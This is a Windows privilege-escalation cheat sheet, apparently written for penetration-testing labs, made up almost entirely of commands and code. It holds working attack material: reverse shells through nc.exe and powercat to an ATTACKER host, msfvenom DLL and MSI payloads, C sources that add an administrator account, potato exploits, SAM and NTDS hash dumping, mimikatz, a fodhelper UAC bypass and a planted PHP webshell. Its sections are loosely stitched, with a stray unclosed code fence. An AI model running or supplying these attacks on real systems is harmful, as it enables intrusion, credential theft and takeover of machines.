whoami /all

hostname
systeminfo
ipconfig /all

There are many ways to bypass AppLocker.

If AppLocker is configured with default AppLocker rules, we can bypass it by placing our executable in the following directory: C:\Windows\System32\spool\drivers\color - This is whitelisted by default.

tasklist /svc

# What services are running and from where?
Get-CimInstance -ClassName win32_service | Select Name,State,PathName | Where-Object {$_.State -like 'Running'}

# Running processes with paths
Get-Process | Select ProcessName,Path | Sort-Object Path -Unique

# All listening ports
netstat -ano | findstr LISTENING
	
# Map ALL listening ports to process names (no admin needed)
Get-NetTCPConnection -State Listen | Select-Object LocalAddress,LocalPort,OwningProcess,@{Name='Process';Expression={(Get-Process -Id $_.OwningProcess).Name}} | Sort-Object LocalPort
# If Get-NetTCPConnection unavailable — look up individual PIDs:
tasklist /FI "PID eq <PID>"
Get-Process -Id <PID> | Select-Object Name,Path

dir C:\

# Step 1 — Can you write to it?
icacls "C:\path\to\binary.exe"
# Look for (F)=Full, (M)=Modify, (W)=Write for your user, Everyone, Users, or Authenticated Users
# If NOT writable → skip, can't exploit

# Step 2 — What runs it? (this is the step people miss)
# Is it a service?
Get-CimInstance -ClassName win32_service | Where-Object {$_.PathName -like '*binary*'} | Select Name,PathName,StartName,State
# Or search by directory:
Get-CimInstance -ClassName win32_service | Where-Object {$_.PathName -like '*DevelopmentExecutables*'} | Select Name,PathName,StartName,State

# Is it a scheduled task?
schtasks /query /fo LIST /v | findstr /i "binary\|path\|Run As\|Task To Run"

# Is it an AutoRun entry?
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run | findstr /i "binary"
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run | findstr /i "binary"

# Is a running process using it right now?
Get-Process | Where-Object {$_.Path -like '*binary*'} | Select Name,Id,Path

# Step 3 — WHO does it run as?
# For services:
sc.exe qc SERVICENAME
# ⚠️ Use the SERVICE NAME not the FILENAME: sc.exe qc auditTracker NOT sc.exe qc auditTracker.exe
# Look for SERVICE_START_NAME: LocalSystem = SYSTEM = exploit it

# For scheduled tasks:
schtasks /query /tn "TASKNAME" /fo LIST /v | findstr /i "Run As"
# Run As User: SYSTEM = exploit it

# Step 4 — If it runs as SYSTEM and you can write to it → replace the binary

dir "C:\Program Files"
	dir "C:\Program Files (x86)"
Get-ItemProperty "HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*" | select displayname
Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\*" | select displayname

findstr /SIM /C:"password" *.txt *.ini *.cfg *.config *.xml

gc 'C:\Users\student\AppData\Local\Google\Chrome\User Data\Default\Custom Dictionary.txt' | Select-String password

(Get-PSReadLineOption).HistorySavePath
gc (Get-PSReadLineOption).HistorySavePath
Get-ChildItem -Path C:\Users -Recurse -Filter ConsoleHost_history.txt -ErrorAction SilentlyContinue | Get-Content

# One-liner to read EVERY user's PowerShell history
foreach($user in ((ls C:\users).fullname)){cat "$user\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt" -ErrorAction SilentlyContinue}

# The stored credential (encrypted with DPAPI, tied to the user)
$encryptedPassword = Import-Clixml -Path 'C:\scripts\pass.xml'
$decryptedPassword = $encryptedPassword.GetNetworkCredential().Password

# Pull username + password out
$credential = Import-Clixml -Path 'C:\scripts\pass.xml'
$credential.GetNetworkCredential().username   # -> bob
$credential.GetNetworkCredential().password   # -> Str0ng3ncryptedP@ss!

# PowerShell transcripts
Get-ChildItem -Path C:\ -Include *transcript* -File -Recurse -ErrorAction SilentlyContinue

# Known credential file locations
Get-Content C:\xampp\htdocs\wp-config.php -EA SilentlyContinue
Get-Content C:\xampp\phpMyAdmin\config.inc.php -EA SilentlyContinue
Get-Content C:\xampp\mysql\bin\my.ini -EA SilentlyContinue
Get-Content C:\inetpub\wwwroot\web.config -EA SilentlyContinue
Get-Content C:\Windows\Panther\Unattend.xml -EA SilentlyContinue

# Search from a user home (NOT from C:\ — that floods with garbage)
Get-ChildItem -Recurse -Include *.ini,*.cfg,*.xml,*.txt,*.config -EA SilentlyContinue | Select-String "pass" -List | Select Path

# Hidden AppData creds
Get-ChildItem -Path C:\Users\*\AppData -Recurse -Include *.xml,*.config,*.ini,*.txt,*.settings -Force -EA SilentlyContinue | Select-String -Pattern "password|credential|passwd" -List | Select Path

# AutoLogon
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" 2>$null | findstr /i "DefaultUserName DefaultPassword AutoAdminLogon"

# Saved credentials
cmdkey /list

# AutoRun keys (writable binary?)
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run

schtasks /query /fo LIST /v | findstr /i "Task To Run" | findstr /i /v "system32"
schtasks /query /fo LIST /v | findstr /i "Run As User" | findstr /i "SYSTEM\|Administrator"

echo IEX(New-Object Net.WebClient).DownloadString('http://KALI:8000/powercat.ps1'); powercat -c KALI -p PORT -e cmd.exe > C:\schedule.ps1

icacls "C:\path\to\service.exe"
accesschk64.exe -uwcv Everyone *

:: AlwaysInstallElevated (both must be 0x1)
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

:: SAM/SYSTEM backups
dir C:\Windows\Repair\SAM
dir C:\Windows\System32\config\RegBack\SAM

:: From C:\xampp\mysql\bin or wherever mysql.exe lives
.\mysql.exe -u root --password=""
.\mysql.exe -u root -e "SHOW DATABASES;"
.\mysql.exe -u root -e "SELECT user,host FROM mysql.user;"
.\mysql.exe -u root -e "USE wordpress; SELECT * FROM wp_users;"

# With creds found in config files / web.config
impacket-mssqlclient 'USER:PASS'@TARGET -windows-auth
impacket-mssqlclient 'USER:PASS'@TARGET             # SQL auth fallback
impacket-mssqlclient 'sa:sa'@TARGET                  # try default sa creds

-- Once connected:
SELECT name FROM master..sysdatabases;
USE dbname;
SELECT name FROM sysobjects WHERE xtype='U';
SELECT * FROM users;
-- Try RCE:
EXEC sp_configure 'show advanced options',1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE;
EXEC xp_cmdshell 'whoami';

# sqlcmd is often installed on Windows boxes with MSSQL
sqlcmd -S localhost -U sa -P 'password' -Q "SELECT name FROM master..sysdatabases;"
sqlcmd -S localhost -E -Q "SELECT name FROM master..sysdatabases;"    # Windows auth (current user)
sqlcmd -S ".\SQLEXPRESS" -E -Q "SELECT name FROM master..sysdatabases;"  # named instance

# Check web.config — connection strings tell you everything
Get-Content C:\inetpub\wwwroot\web.config -EA SilentlyContinue
# Look for: server=localhost\SQLEXPRESS or Data Source=.\SQLEXPRESS

# Check WinPEAS output for named pipes
# Look for: SQLLocal\SQLEXPRESS → instance is SQLEXPRESS

# Check running processes
Get-Process | Where-Object {$_.Name -like '*sql*'} | Select Name,Id
# MSSQL$SQLEXPRESS in the process list → instance is SQLEXPRESS

# Check services
Get-Service | Where-Object {$_.DisplayName -like '*SQL*'}
# MSSQL$SQLEXPRESS → instance is SQLEXPRESS

sqlcmd -S ".\SQLEXPRESS" -E -Q "SELECT name FROM master..sysdatabases;"

sqlcmd -S ".\SQLEXPRESS" -E -d DBNAME -Q "SELECT name FROM sysobjects WHERE xtype='U';"

sqlcmd -S ".\SQLEXPRESS" -E -d DBNAME -Q "SELECT name FROM syscolumns WHERE id=(SELECT id FROM sysobjects WHERE name='TABLENAME');"

sqlcmd -S ".\SQLEXPRESS" -E -d DBNAME -Q "SELECT * FROM TABLENAME;"
# Or specific columns:
sqlcmd -S ".\SQLEXPRESS" -E -d DBNAME -Q "SELECT username,password FROM users;"

# Enable xp_cmdshell
sqlcmd -S ".\SQLEXPRESS" -E -Q "EXEC sp_configure 'show advanced options',1; RECONFIGURE;"
sqlcmd -S ".\SQLEXPRESS" -E -Q "EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE;"

# Test: does it execute?
sqlcmd -S ".\SQLEXPRESS" -E -Q "EXEC xp_cmdshell 'ping ATTACKER_IP';"
# Listen on Kali: sudo tcpdump -i tun0 icmp — if you see pings, you have RCE

# Check who it runs as
sqlcmd -S ".\SQLEXPRESS" -E -Q "EXEC xp_cmdshell 'whoami > C:\Windows\Temp\whoami.txt';"
type C:\Windows\Temp\whoami.txt
# If different user than you → this is lateral movement or privesc

# Download nc.exe to target
sqlcmd -S ".\SQLEXPRESS" -E -Q "EXEC xp_cmdshell 'certutil -urlcache -f http://ATTACKER/nc.exe C:\Windows\Temp\nc.exe';"

# Catch on Kali: rlwrap nc -lvnp 443
sqlcmd -S ".\SQLEXPRESS" -E -Q "EXEC xp_cmdshell 'C:\Windows\Temp\nc.exe ATTACKER 443 -e cmd.exe';"

sqlcmd -S ".\SQLEXPRESS" -E -Q "EXEC xp_cmdshell 'powershell -nop -w hidden -e BASE64_PAYLOAD';"

sqlcmd -S ".\SQLEXPRESS" -E -Q "SELECT BulkColumn FROM OPENROWSET(BULK 'C:\Users\Administrator\Desktop\proof.txt', SINGLE_CLOB) AS x;"

sqlcmd -S ".\SQLEXPRESS" -E -Q "EXEC master..xp_dirtree '\\\\ATTACKER_IP\\share';"
# Catch with: sudo responder -I tun0 -A
# Crack: hashcat -m 5600 hash.txt rockyou.txt

sqlcmd -S ".\SQLEXPRESS" -E -Q "SELECT name FROM master..sysservers;"
# If linked servers exist: EXEC('xp_cmdshell ''whoami''') AT [LINKED_SERVER]

psql -h TARGET -U postgres -W         # prompts for password
psql -h TARGET -U postgres -d dbname   # connect to specific database

-- Once connected:
\l                              -- list databases
\dt                             -- list tables
\du                             -- list users (check for superuser!)
SELECT * FROM users;
-- If superuser → RCE:
COPY (SELECT '') TO PROGRAM 'whoami';

# Attacker: ./chisel server -p 9999 --reverse
# Target: .\chisel.exe client ATTACKER:9999 R:PORT:127.0.0.1:PORT
# Then browse http://127.0.0.1:PORT on Kali

.\winpeas.exe cmd > winpeas_output.txt

.\winpeas.exe cmd | Tee-Object -FilePath C:\Users\Public\winpeas.txt

.\winpeas.exe cmd > C:\Users\Public\wp.txt 2>&1
type C:\Users\Public\wp.txt
# Or download from evil-winrm: download C:\Users\Public\wp.txt

Run these AFTER manual enumeration — they confirm findings and may catch things you missed.

## Enum 11 — Domain Check

```cmd
systeminfo | findstr /i "domain"
net user /domain

whoami /priv
whoami /all

PrintSpoofer.exe -i -c cmd
GodPotato-NET4.exe -cmd "C:\Windows\Temp\nc.exe ATTACKER 443 -e cmd.exe"
JuicyPotato.exe -l 1337 -p C:\Windows\Temp\nc.exe -a "ATTACKER 443 -e cmd.exe" -t * -c {CLSID}
.\SigmaPotato.exe "net user pwned Password123! /add"
.\SigmaPotato.exe "net localgroup Administrators pwned /add"

# PowerShell — launches independently, your session stays usable
Start-Process -FilePath ".\GodPotato-NET4.exe" -ArgumentList '-cmd "C:\Windows\Temp\nc.exe ATTACKER 443 -e cmd.exe"' -WindowStyle Hidden

:: CMD — background execution
start /b .\GodPotato-NET4.exe -cmd "C:\Windows\Temp\nc.exe ATTACKER 443 -e cmd.exe"

net user hacker hacker123! /add
net localgroup Administrators hacker /add
net localgroup "Remote Management Users" hacker /add

.\GodPotato-NET4.exe -cmd "cmd.exe /c (whoami & type C:\Users\Administrator\Desktop\proof.txt) > C:\Windows\Temp\out.txt 2>&1"
type C:\Windows\Temp\out.txt

# Step 1: Create a temp directory to save the files
mkdir C:\Temp

# Step 2: Save the SAM and SYSTEM registry hives
reg save hklm\sam C:\Temp\sam
reg save hklm\system C:\Temp\system

# Step 3: Download both files to Kali via evil-winrm
cd C:\Temp
download sam
download system

impacket-secretsdump -sam sam -system system LOCAL
# Use the NT hash (second hash after the second colon) for Pass-the-Hash

evil-winrm -i <TARGET_IP> -u Administrator -H '<NTLM_HASH>'

# Step 1 — upload GodPotato (your http server already running on KALI:8000)
iwr http://KALI:8000/GodPotato-NET4.exe -OutFile $env:TEMP\g.exe -UseBasicParsing

# Step 2 — single SYSTEM exec: reg save all three + icacls so YOUR user can read
& $env:TEMP\g.exe -cmd "cmd.exe /c reg save HKLM\SAM C:\Users\YOU\Documents\sam.save /y & reg save HKLM\SYSTEM C:\Users\YOU\Documents\system.save /y & reg save HKLM\SECURITY C:\Users\YOU\Documents\security.save /y & icacls C:\Users\YOU\Documents\sam.save /grant Everyone:F & icacls C:\Users\YOU\Documents\system.save /grant Everyone:F & icacls C:\Users\YOU\Documents\security.save /grant Everyone:F"
# Note: icacls is what makes the SYSTEM-owned files readable by your low-priv user afterward

# On Kali — one-line PS per hive (use FORWARD SLASHES to dodge bash \U escape hell)
for f in sam system security; do
  echo "[Convert]::ToBase64String([IO.File]::ReadAllBytes('C:/Users/YOU/Documents/$f.save'))" | \
    evil-winrm -i IP -u USER -p PASS 2>&1 | \
    grep -E '^[A-Za-z0-9+/]{50,}={0,2}$' | tr -d '\r\n' | base64 -d > $f.save
done

# Then locally:
impacket-secretsdump -sam sam.save -system system.save -security security.save LOCAL

Mary.Williams:1002:...:...                                          # other local accounts
[*] Dumping cached domain logon information (domain/username:hash)
[*] Dumping LSA Secrets
[*] DefaultPassword
[*] _SC_wampapache64

# Must run from a writable directory
cd C:\Temp
echo "set context persistent nowriters" | out-file C:\Windows\Temp\shadow.dsh -encoding ascii
echo "add volume c: alias pwn" | out-file C:\Windows\Temp\shadow.dsh -append -encoding ascii
echo "create" | out-file C:\Windows\Temp\shadow.dsh -append -encoding ascii
echo "expose %pwn% z:" | out-file C:\Windows\Temp\shadow.dsh -append -encoding ascii

diskshadow /s C:\Windows\Temp\shadow.dsh
# Z: is now a frozen snapshot of C:

# /b flag = backup mode, bypasses ACLs using SeBackupPrivilege
robocopy /b z:\Windows\NTDS\ C:\Windows\Temp\ ntds.dit
reg save hklm\system C:\Windows\Temp\system

download C:\Windows\Temp\ntds.dit
download C:\Windows\Temp\system

impacket-secretsdump -ntds ntds.dit -system system LOCAL
evil-winrm -i <DC_IP> -u Administrator -H '<NTLM_HASH>'

# Step 1: Upload nc.exe (from evil-winrm)
upload /usr/share/windows-binaries/nc.exe
move nc.exe C:\Windows\Temp\nc.exe

# Step 2: Start listener on Kali
nc -lvp 443

# Step 3: Reconfigure a running service to call nc.exe
# Find a running service to hijack (VMTools works on HTB, try others if not)
sc.exe config VMTools binPath="C:\Windows\Temp\nc.exe -e cmd.exe ATTACKER 443"

# Step 4: Restart the service
sc.exe stop VMTools
sc.exe start VMTools
# Note: sc start will "fail" with a timeout error — this is normal.
# The service starts nc.exe, nc.exe connects back, service manager times out.
# Your listener catches the SYSTEM shell.

# List services you can control:
services.msc       # GUI (if RDP)
sc.exe query type= all state= running
# VMTools is commonly available on HTB/PG. Otherwise try any non-critical running service.

# Step 1: Generate malicious DLL on Kali
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER LPORT=443 -f dll -o evil.dll

# Step 2: Host via SMB server
impacket-smbserver share . -smb2support

# Step 3: From Windows shell, configure DNS to load your DLL
dnscmd.exe /config /serverlevelplugindll \\\\ATTACKER\\share\\evil.dll

# Step 4: Start listener + restart DNS service
nc -lvp 443
sc.exe stop dns
sc.exe start dns

# Create a new user
net user attacker P@ss123! /add
# Add to a group you want to be in (can't add to Domain Admins or Administrators directly)
net localgroup "Remote Management Users" attacker /add

evil-winrm -i TARGET -u USER -p PASS

procdump.exe -ma lsass.exe lsass.dmp
# On Kali: pypykatz lsa minidump lsass.dmp

Import-Module .\Enable-Privilege.ps1
.\EnableAllTokenPrivs.ps1

takeown /f 'C:\Department Shares\Private\IT\cred.txt'

SUCCESS: The file (or folder): "C:\Department Shares\Private\IT\cred.txt" now owned by user "SRV01\student".

Get-ChildItem -Path 'C:\Department Shares\Private\IT\cred.txt' | select name,directory, @{Name="Owner";Expression={(Get-ACL $_.Fullname).Owner}}

Name     Directory                       Owner
----     ---------                       -----
cred.txt C:\Department Shares\Private\IT SRV01\student

icacls 'C:\Department Shares\Private\IT\cred.txt' /grant student:F

c:\inetpub\wwwroot\web.config
%WINDIR%\repair\sam
%WINDIR%\repair\system
%WINDIR%\repair\software
%WINDIR%\repair\security
%WINDIR%\system32\config\SecEvent.Evt
%WINDIR%\system32\config\default.sav
%WINDIR%\system32\config\security.sav
%WINDIR%\system32\config\software.sav
%WINDIR%\system32\config\system.sav

.\winpeas.exe cmd | Tee-Object -FilePath C:\Users\Public\winpeas.txt
# If hangs: .\winpeas.exe cmd > C:\Users\Public\wp.txt 2>&1
powershell -ep bypass ". .\PowerUp.ps1; Invoke-AllChecks"

# Import first
powershell -ep bypass
. .\PowerUp.ps1

# Service binary hijacking — finds services where current user can modify the binary
Get-ModifiableServiceFile

# Unquoted service paths — finds unquoted paths with spaces
Get-UnquotedService

# Exploit unquoted path (creates user john / Password123! by default)
Write-ServiceBinary -Name '<svc>' -Path "C:\Program Files\Vuln App\Current.exe"
Restart-Service <svc>

# Weak service DACLs — finds services current user can reconfigure
Get-ModifiableService

// adduser.c — creates admin user when executed as SYSTEM
#include <stdlib.h>
int main() {
    system("net user pwned Password123! /add");
    system("net localgroup administrators pwned /add");
    return 0;
}

# Cross-compile on Kali
x86_64-w64-mingw32-gcc adduser.c -o adduser.exe          # 64-bit EXE
x86_64-w64-mingw32-gcc adduser.cpp --shared -o evil.dll   # 64-bit DLL

wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "c:\windows\\" | findstr /i /v "\"\""

icacls "C:\path\o\service.exe"
accesschk64.exe -uwcv Everyone *
accesschk64.exe /accepteula -uwcqv "Authenticated Users" *

sc config <vuln_svc> binpath= "C:\Windows\Temp\nc.exe ATTACKER 443 -e cmd.exe"
sc stop <vuln_svc>
sc start <vuln_svc>

accesschk64.exe -uwcqv <username> *
# If SERVICE_CHANGE_CONFIG on any service:
sc config <svc> binpath= "C:\Windows\Temp\nc.exe ATTACKER 443 -e cmd.exe"

cmdkey /list
# If entries exist:
runas /savecred /user:Administrator "C:\Windows\Temp\nc.exe ATTACKER 443 -e cmd.exe"

# AutoLogon in registry
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>$null | findstr /i "DefaultUserName DefaultPassword AutoAdminLogon"

:: If you found a password for another user (config file, note, etc.)
runas /user:targetuser cmd
:: Enter password at the prompt. A new window opens as that user.
:: Does NOT work in bind shells or WinRM — the password prompt won't accept input.
:: Alternatives without GUI: evil-winrm, PSRemoting (Enter-PSSession), or scheduled tasks

:: CMD:
type C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
for /f "tokens=*" %u in ('dir /b C:\Users') do @type "C:\Users\%u\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt" 2>nul

# PowerShell (evil-winrm):
Get-Content $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt -ErrorAction SilentlyContinue
# All users:
Get-ChildItem -Path C:\Users -Recurse -Filter ConsoleHost_history.txt -ErrorAction SilentlyContinue | Get-Content

cd c:\Users\student\Documents & findstr /SI /M "password" *.xml *.ini *.txt
findstr /si password *.xml *.ini *.txt *.config
findstr /spin "password" *.*

select-string -Path C:\Users\student\Documents\*.txt -Pattern password

dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config*
where /R C:\ *.config

Get-ChildItem C:\ -Recurse -Include *.rdp, *.config, *.vnc, *.cred -ErrorAction Ignore

# Find the PSReadline history path (confirms location per user)
(Get-PSReadlineOption).HistorySavePath

# Works in both CMD and PS:
Get-ChildItem -Path C:\ -Include *transcript* -File -Recurse -ErrorAction SilentlyContinue
Get-ChildItem -Path C:\Users\Public\Transcripts -ErrorAction SilentlyContinue

:: CMD:
cd %USERPROFILE%
findstr /SIM /C:"pass" *.ini *.cfg *.xml *.txt *.config

# PowerShell (evil-winrm):
cd $env:USERPROFILE
Get-ChildItem -Recurse -Include *.ini,*.cfg,*.xml,*.txt,*.config -ErrorAction SilentlyContinue | Select-String "pass" -List | Select Path

# These all work in PowerShell (use Get-Content, not type, if wildcards are needed)
Get-Content $env:APPDATA\FileZilla\recentservers.xml -ErrorAction SilentlyContinue
Get-Content $env:APPDATA\FileZilla\sitemanager.xml -ErrorAction SilentlyContinue
Get-Content C:\inetpub\wwwroot\web.config -ErrorAction SilentlyContinue
Get-Content C:\xampp\htdocs\wp-config.php -ErrorAction SilentlyContinue
Get-Content C:\xampp\phpMyAdmin\config.inc.php -ErrorAction SilentlyContinue
Get-Content C:\xampp\mysql\bin\my.ini -ErrorAction SilentlyContinue
Get-Content C:\Windows\Panther\Unattended.xml -ErrorAction SilentlyContinue
Get-Content C:\Windows\System32\sysprep\Unattend.xml -ErrorAction SilentlyContinue
Get-Content C:\ProgramData\McAfee\Common\Framework\SiteList.xml -ErrorAction SilentlyContinue

# PowerShell (works in evil-winrm):
Get-ChildItem -Path C:\Users -Recurse -Include *.txt,*.xml,*.ini,*.kdbx,*.rdp -ErrorAction SilentlyContinue | Where-Object {$_.FullName -notlike '*AppData\Local\Microsoft*'} | Select FullName
Get-ChildItem -Path C:\Users\*\.ssh -ErrorAction SilentlyContinue | Select FullName

# Works in both CMD and PS:
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" 2>$null | findstr /i "DefaultUserName DefaultPassword AutoAdminLogon"

cmdkey /list
:: If entries exist:
runas /savecred /user:Administrator "C:\Windows\Temp\nc.exe ATTACKER 80 -e cmd.exe"

# Look at C:\ root for anything unusual
Get-ChildItem C:\
# Then search inside suspicious directories
Get-ChildItem -Path C:\backup -Recurse -Include *.txt,*.xml,*.ini,*.config -ErrorAction SilentlyContinue | Select-String "pass" -List | Select Path

Get-ChildItem -Path C:\Users\*\AppData -Recurse -Include *.xml,*.config,*.ini,*.txt,*.settings -Force -ErrorAction SilentlyContinue | Select-String -Pattern "password|credential|passwd" -List | Select Path

Get-Content "<PATH_FROM_ABOVE>" -ErrorAction SilentlyContinue

reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" 2>$null
reg query "HKCU\Software\Martin Prikryl\WinSCP 2\Sessions" 2>$null

# KeePass databases (crack with keepass2john)
Get-ChildItem -Path C:\ -Include *.kdbx -File -Recurse -ErrorAction SilentlyContinue
# Documents in current user's home
Get-ChildItem -Path C:\Users\ -Include *.txt,*.pdf,*.xls,*.xlsx,*.doc,*.docx -File -Recurse -ErrorAction SilentlyContinue

## Sticky Notes Passwords
##People often use the StickyNotes app on Windows workstations to save passwords and other information, not realizing it is a database file. This file is located at `C:\Users\<user>\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite` and is always worth searching for and examining.

#### Viewing Sticky Notes Data Using PowerShell
# This can also be done with PowerShell using the [PSSQLite module](https://github.com/RamblingCookieMonster/PSSQLite). First, import the module, point to a data source
PS C:\htb> Set-ExecutionPolicy Bypass -Scope Process Execution Policy Change  
PS C:\htb> cd .\PSSQLite\ 
PS C:\htb> Import-Module .\PSSQLite.psd1 
PS C:\htb> $db = 'C:\Users\student\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite' 
PS C:\htb> Invoke-SqliteQuery -Database $db -Query "SELECT Text FROM Note" | ft -wrap

#### Strings to View DB File Contents, We can also copy them over to our attack box and search through the data using the `strings` command, which may be less efficient depending on the size of the database.
Jean8895@htb[/htb]$  strings plum.sqlite-wal

### Some other files we may find credentials in include the following:

%SYSTEMDRIVE%\pagefile.sys %WINDIR%\debug\NetSetup.log %WINDIR%\repair\sam %WINDIR%\repair\system %WINDIR%\repair\software, %WINDIR%\repair\security %WINDIR%\iis6.log %WINDIR%\system32\config\AppEvent.Evt %WINDIR%\system32\config\SecEvent.Evt %WINDIR%\system32\config\default.sav %WINDIR%\system32\config\security.sav %WINDIR%\system32\config\software.sav %WINDIR%\system32\config\system.sav %WINDIR%\system32\CCM\logs\*.log %USERPROFILE%\ntuser.dat %USERPROFILE%\LocalS~1\Tempor~1\Content.IE5\index.dat %WINDIR%\System32\drivers\etc\hosts C:\ProgramData\Configs\* C:\Program Files\Windows PowerShell\*

We need local admin access to retrieve stored session information for every user in `HKEY_USERS`, but it is always worth running as our current user to see if we can find any useful credentials.

PS C:\htb> Import-Module .\SessionGopher.ps1   PS C:\Tools> Invoke-SessionGopher -Target SRV01

.\lazagne.exe all

pdf2john file.pdf > hash.txt
zip2john file.zip > hash.txt
keepass2john file.kdbx > hash.txt
john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt

reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER LPORT=443 -f msi -o evil.msi
# Transfer, then: msiexec /quiet /qn /i C:\Windows\Temp\evil.msi

dir C:\Windows\Repair\SAM
dir C:\Windows\Repair\SYSTEM
dir C:\Windows\System32\config\RegBack\SAM
dir C:\Windows\System32\config\RegBack\SYSTEM

impacket-secretsdump -sam SAM -system SYSTEM LOCAL

:: Full dump (verbose)
schtasks /query /fo LIST /v
:: Filtered views
schtasks /query /fo LIST /v | findstr /i "Task To Run" | findstr /i /v "system32"
schtasks /query /fo LIST /v | findstr /i "Run As User" | findstr /i "SYSTEM\|Administrator"

:: Check if you can write to the binary location
icacls "C:\path\to\scheduled\binary.exe"
:: If writable, replace with adduser.exe or nc.exe reverse shell
move C:\path\to\binary.exe binary.exe.bak
copy C:\Windows\Temp\adduser.exe C:\path\to\binary.exe
:: Wait for the scheduled task to fire

wmic product get name,version,vendor
dir "C:\Program Files"
dir "C:\Program Files (x86)"

# Registry-based app list (more complete than wmic — catches apps wmic misses)
Get-ItemProperty "HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*" | select displayname
Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\*" | select displayname

dir C:\

echo %PATH%
:: Check for writable directories in PATH
icacls "C:\some\path\in\PATH"

// evil.cpp — DLL_PROCESS_ATTACH fires when the DLL is loaded
#include <stdlib.h>
#include <windows.h>

BOOL APIENTRY DllMain(HANDLE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
    switch (ul_reason_for_call) {
        case DLL_PROCESS_ATTACH:
            system("net user pwned Password123! /add");
            system("net localgroup administrators pwned /add");
            break;
        case DLL_THREAD_ATTACH:
        case DLL_THREAD_DETACH:
        case DLL_PROCESS_DETACH:
            break;
    }
    return TRUE;
}

# Cross-compile DLL on Kali
x86_64-w64-mingw32-gcc evil.cpp --shared -o TextShaping.dll

msfvenom -p windows/x64/shell_reverse_tcp LHOST=x LPORT=y -f dll -o evil.dll

netstat -ano | findstr LISTENING

:: Admin required:
netstat -anob
:: Non-admin — look up individual PIDs:
tasklist /FI "PID eq 4260"
:: If tasklist is access-denied, try:
Get-Process -Id 4260 | Select-Object Name,Path

Get-NetTCPConnection -State Listen | Select-Object LocalAddress,LocalPort,OwningProcess,@{Name='Process';Expression={(Get-Process -Id $_.OwningProcess).Name}} | Sort-Object LocalPort

:: From C:\xampp\mysql\bin:
.\mysql.exe -u root --password=""
.\mysql.exe -u root -e "SHOW DATABASES;"
.\mysql.exe -u root -e "SELECT user,host FROM mysql.user;"
.\mysql.exe -u root -e "USE wordpress; SELECT * FROM wp_users;"

# PowerShell 'curl' is an alias for Invoke-WebRequest — NOT linux curl
curl http://127.0.0.1/?test -UseBasicParsing              # -UseBasicParsing required
(curl http://127.0.0.1/?test -UseBasicParsing).RawContent  # .RawContent for readable text
# .Content may return byte arrays — use .RawContent instead

# Alternative: Invoke-WebRequest explicitly
(Invoke-WebRequest -Uri "http://127.0.0.1:8080/api" -UseBasicParsing).Content

# Chisel
# Attacker: ./chisel server -p 9999 --reverse
# Target: .\chisel.exe client ATTACKER:9999 R:80:127.0.0.1:80
# Then browse http://127.0.0.1:80 on Kali

whoami /groups | findstr /i "Medium Mandatory"

reg add HKCU\Software\Classes\ms-settings\shell\open\command /d "C:\Windows\Temp\nc.exe ATTACKER 443 -e cmd.exe" /f
reg add HKCU\Software\Classes\ms-settings\shell\open\command /v DelegateExecute /t REG_SZ /f
fodhelper.exe

lazagne.exe all
.\mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"
.\mimikatz.exe "privilege::debug" "lsadump::sam" "exit"

# 14. Browser saved passwords
dir /s /b C:\Users\*\AppData\Local\Google\Chrome\User Data\Default\Login Data

# 15. WiFi passwords
netsh wlan show profiles
netsh wlan show profile name="<SSID>" key=clear

# 16. Clipboard
powershell -c "Get-Clipboard"

# 17. Mapped drives and shares
net use
net share

# 18. Kernel exploits (LAST RESORT)
systeminfo > systeminfo.txt
# Transfer to Kali: python wes.py systeminfo.txt

# 1. Check if you can write to web root
echo "test" > C:\xampp\htdocs\test.txt

# 2. Drop a PHP webshell
Set-Content -Path "C:\xampp\htdocs\cmd.php" -Value '<?php system($_GET["cmd"]); ?>'

# 3. From Kali, check who the web server runs as
curl "http://TARGET/cmd.php?cmd=whoami"
curl "http://TARGET/cmd.php?cmd=whoami+/all"
# If SeImpersonatePrivilege = Enabled → get shell as that user → potato → SYSTEM

# 4. Transfer tools via webshell
curl "http://TARGET/cmd.php?cmd=certutil+-urlcache+-split+-f+http://ATTACKER/nc.exe+C:\xampp\htdocs\nc.exe"

# 5. Get reverse shell as web server user
curl "http://TARGET/cmd.php?cmd=C:\xampp\htdocs\nc.exe+ATTACKER+443+-e+cmd.exe"

# After adding to a group:
exit                    # close current session
ssh user@target         # new SSH = new token
